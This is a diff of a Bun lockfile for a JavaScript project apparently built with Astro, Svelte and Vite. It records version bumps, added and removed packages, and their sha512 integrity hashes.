"radix3": ["radix3@1.1.2", "", {}, "sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA=="],
|
||||
@@ -846,11 +859,13 @@
|
||||
|
||||
"sax": ["sax@1.4.3", "", {}, "sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ=="],
|
||||
|
||||
"semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
|
||||
"scule": ["scule@1.3.0", "", {}, "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g=="],
|
||||
|
||||
"semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
|
||||
|
||||
"sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="],
|
||||
|
||||
"shiki": ["shiki@3.23.0", "", { "dependencies": { "@shikijs/core": "3.23.0", "@shikijs/engine-javascript": "3.23.0", "@shikijs/engine-oniguruma": "3.23.0", "@shikijs/langs": "3.23.0", "@shikijs/themes": "3.23.0", "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-55Dj73uq9ZXL5zyeRPzHQsK7Nbyt6Y10k5s7OjuFZGMhpp4r/rsLBH0o/0fstIzX1Lep9VxefWljK/SKCzygIA=="],
|
||||
"shiki": ["shiki@4.0.2", "", { "dependencies": { "@shikijs/core": "4.0.2", "@shikijs/engine-javascript": "4.0.2", "@shikijs/engine-oniguruma": "4.0.2", "@shikijs/langs": "4.0.2", "@shikijs/themes": "4.0.2", "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-eAVKTMedR5ckPo4xne/PjYQYrU3qx78gtJZ+sHlXEg5IHhhoQhMfZVzetTYuaJS0L2Ef3AcCRzCHV8T0WI6nIQ=="],
|
||||
|
||||
"sisteransi": ["sisteransi@1.0.5", "", {}, "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="],
|
||||
|
||||
@@ -878,7 +893,11 @@
|
||||
|
||||
"style-to-object": ["style-to-object@1.0.14", "", { "dependencies": { "inline-style-parser": "0.2.7" } }, "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw=="],
|
||||
|
||||
"svgo": ["svgo@4.0.0", "", { "dependencies": { "commander": "^11.1.0", "css-select": "^5.1.0", "css-tree": "^3.0.1", "css-what": "^6.1.0", "csso": "^5.0.5", "picocolors": "^1.1.1", "sax": "^1.4.1" }, "bin": "./bin/svgo.js" }, "sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw=="],
|
||||
"svelte": ["svelte@5.55.5", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "@jridgewell/sourcemap-codec": "^1.5.0", "@sveltejs/acorn-typescript": "^1.0.5", "@types/estree": "^1.0.5", "@types/trusted-types": "^2.0.7", "acorn": "^8.12.1", "aria-query": "5.3.1", "axobject-query": "^4.1.0", "clsx": "^2.1.1", "devalue": "^5.6.4", "esm-env": "^1.2.1", "esrap": "^2.2.4", "is-reference": "^3.0.3", "locate-character": "^3.0.0", "magic-string": "^0.30.11", "zimmerframe": "^1.1.2" } }, "sha512-2uCs/LZ9us+AktdzYJM8OcxQ8qnPS1kpaO7syGT/MgO+6Qr1Ybl+TqPq+97u7PHqmmMlye5ZkoyXONy5mjjAbw=="],
|
||||
|
||||
"svelte2tsx": ["svelte2tsx@0.7.53", "", { "dependencies": { "dedent-js": "^1.0.1", "scule": "^1.3.0" }, "peerDependencies": { "svelte": "^3.55 || ^4.0.0-next.0 || ^4.0 || ^5.0.0-next.0", "typescript": "^4.9.4 || ^5.0.0" } }, "sha512-ljVSwmnYRDHRm8+7ICP6QoAN7U7vgOFfPBLN6T745YWNYqRRSzHxlrzUVqMjYls2Un8MzJissfziy/38e6Deeg=="],
|
||||
|
||||
"svgo": ["svgo@4.0.1", "", { "dependencies": { "commander": "^11.1.0", "css-select": "^5.1.0", "css-tree": "^3.0.1", "css-what": "^6.1.0", "csso": "^5.0.5", "picocolors": "^1.1.1", "sax": "^1.5.0" }, "bin": "./bin/svgo.js" }, "sha512-XDpWUOPC6FEibaLzjfe0ucaV0YrOjYotGJO1WpF0Zd+n6ZGEQUsSugaoLq9QkEZtAfQIxT42UChcssDVPP3+/w=="],
|
||||
|
||||
"tailwindcss": ["tailwindcss@4.2.4", "", {}, "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA=="],
|
||||
|
||||
@@ -886,7 +905,9 @@
|
||||
|
||||
"tiny-inflate": ["tiny-inflate@1.0.3", "", {}, "sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw=="],
|
||||
|
||||
"tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="],
|
||||
"tinyclip": ["tinyclip@0.1.12", "", {}, "sha512-Ae3OVUqifDw0wBriIBS7yVaW44Dp6eSHQcyq4Igc7eN2TJH/2YsicswaW+J/OuMvhpDPOKEgpAZCjkb4hpoyeA=="],
|
||||
|
||||
"tinyexec": ["tinyexec@1.1.1", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
|
||||
|
||||
"tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
|
||||
|
||||
@@ -898,8 +919,6 @@
|
||||
|
||||
"tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||
|
||||
"type-fest": ["type-fest@4.41.0", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
|
||||
|
||||
"typesafe-path": ["typesafe-path@0.2.2", "", {}, "sha512-OJabfkAg1WLZSqJAJ0Z6Sdt3utnbzr/jh+NAHoyWHJe8CMSy79Gm085094M9nvTPy22KzTVn5Zq5mbapCI/hPA=="],
|
||||
|
||||
"typescript": ["typescript@6.0.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw=="],
|
||||
@@ -932,7 +951,7 @@
|
||||
|
||||
"unist-util-stringify-position": ["unist-util-stringify-position@4.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ=="],
|
||||
|
||||
"unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
"unist-util-visit": ["unist-util-visit@5.1.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg=="],
|
||||
|
||||
"unist-util-visit-children": ["unist-util-visit-children@3.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA=="],
|
||||
|
||||
@@ -946,9 +965,9 @@
|
||||
|
||||
"vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
|
||||
|
||||
"vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="],
|
||||
"vite": ["vite@7.3.2", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg=="],
|
||||
|
||||
"vitefu": ["vitefu@1.1.1", "", { "peerDependencies": { "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0-beta.0" }, "optionalPeers": ["vite"] }, "sha512-B/Fegf3i8zh0yFbpzZ21amWzHmuNlLlmJT6n7bu5e+pCHUKQIfXSYokrqOBGEMMe9UG2sostKQF9mml/vYaWJQ=="],
|
||||
"vitefu": ["vitefu@1.1.3", "", { "peerDependencies": { "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" }, "optionalPeers": ["vite"] }, "sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg=="],
|
||||
|
||||
"volar-service-css": ["volar-service-css@0.0.70", "", { "dependencies": { "vscode-css-languageservice": "^6.3.0", "vscode-languageserver-textdocument": "^1.0.11", "vscode-uri": "^3.0.8" }, "peerDependencies": { "@volar/language-service": "~2.4.0" }, "optionalPeers": ["@volar/language-service"] }, "sha512-K1qyOvBpE3rzdAv3e4/6Rv5yizrYPy5R/ne3IWCAzLBuMO4qBMV3kSqWzj6KUVe6S0AnN6wxF7cRkiaKfYMYJw=="],
|
||||
|
||||
@@ -988,9 +1007,7 @@
|
||||
|
||||
"which-pm-runs": ["which-pm-runs@1.1.0", "", {}, "sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA=="],
|
||||
|
||||
"widest-line": ["widest-line@5.0.0", "", { "dependencies": { "string-width": "^7.0.0" } }, "sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA=="],
|
||||
|
||||
"wrap-ansi": ["wrap-ansi@9.0.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww=="],
|
||||
"wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
|
||||
|
||||
"xxhash-wasm": ["xxhash-wasm@1.1.0", "", {}, "sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA=="],
|
||||
|
||||
@@ -1002,26 +1019,26 @@
|
||||
|
||||
"yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="],
|
||||
|
||||
"yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
|
||||
"yargs-parser": ["yargs-parser@22.0.0", "", {}, "sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw=="],
|
||||
|
||||
"yocto-queue": ["yocto-queue@1.2.2", "", {}, "sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ=="],
|
||||
|
||||
"yocto-spinner": ["yocto-spinner@0.2.3", "", { "dependencies": { "yoctocolors": "^2.1.1" } }, "sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ=="],
|
||||
|
||||
"yoctocolors": ["yoctocolors@2.1.2", "", {}, "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug=="],
|
||||
"zimmerframe": ["zimmerframe@1.1.4", "", {}, "sha512-B58NGBEoc8Y9MWWCQGl/gq9xBCe4IiKM0a2x7GZdQKOW5Exr8S1W24J6OgM1njK8xCRGvAJIL/MxXHf6SkmQKQ=="],
|
||||
|
||||
"zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="],
|
||||
|
||||
"zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
|
||||
|
||||
"zod-to-ts": ["zod-to-ts@1.2.0", "", { "peerDependencies": { "typescript": "^4.9.4 || ^5.0.2", "zod": "^3" } }, "sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA=="],
|
||||
|
||||
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
|
||||
|
||||
"@astrojs/language-server/@astrojs/compiler": ["@astrojs/compiler@2.13.1", "", {}, "sha512-f3FN83d2G/v32ipNClRKgYv30onQlMZX1vCeZMjPsMMPl1mDpmbl0+N5BYo4S/ofzqJyS5hvwacEo0CCVDn/Qg=="],
|
||||
|
||||
"@mdx-js/mdx/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
|
||||
|
||||
"@mdx-js/mdx/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"@rollup/pluginutils/estree-walker": ["estree-walker@2.0.2", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
|
||||
|
||||
"@rollup/pluginutils/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="],
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="],
|
||||
@@ -1038,114 +1055,60 @@
|
||||
|
||||
"anymatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
|
||||
|
||||
"astro/zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="],
|
||||
|
||||
"boxen/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
|
||||
|
||||
"bun-types/@types/node": ["@types/node@25.0.3", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-W609buLVRVmeW693xKfzHeIV6nJGGz98uCPfeXI1ELMLXVeKYZ9m15fAMSaUPBHYLGFsVRcMmSCksQOrZV9BYA=="],
|
||||
|
||||
"cliui/wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
|
||||
|
||||
"csso/css-tree": ["css-tree@2.2.1", "", { "dependencies": { "mdn-data": "2.0.28", "source-map-js": "^1.0.1" } }, "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA=="],
|
||||
|
||||
"dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
|
||||
|
||||
"esast-util-from-js/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
|
||||
|
||||
"hast-util-raw/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"is-inside-container/is-docker": ["is-docker@3.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="],
|
||||
|
||||
"mdast-util-definitions/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"mdast-util-to-hast/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"mdast-util-to-markdown/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"micromark-extension-mdxjs/acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
|
||||
|
||||
"ofetch/ufo": ["ufo@1.6.1", "", {}, "sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA=="],
|
||||
|
||||
"parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="],
|
||||
|
||||
"prompts/kleur": ["kleur@3.0.3", "", {}, "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w=="],
|
||||
"remark-smartypants/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"retext-smartypants/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
"sharp/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
|
||||
|
||||
"svelte/aria-query": ["aria-query@5.3.1", "", {}, "sha512-Z/ZeOgVl7bcSYZ/u/rh0fOpvEpq//LZmdbkXyc7syVzjPAhfOa9ebsdTSjEBDU4vs5nC98Kfduj1uFo0qyET3g=="],
|
||||
|
||||
"svgo/sax": ["sax@1.6.0", "", {}, "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA=="],
|
||||
|
||||
"tinyglobby/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
|
||||
|
||||
"typescript-auto-import-cache/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
|
||||
|
||||
"unist-util-remove-position/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
|
||||
|
||||
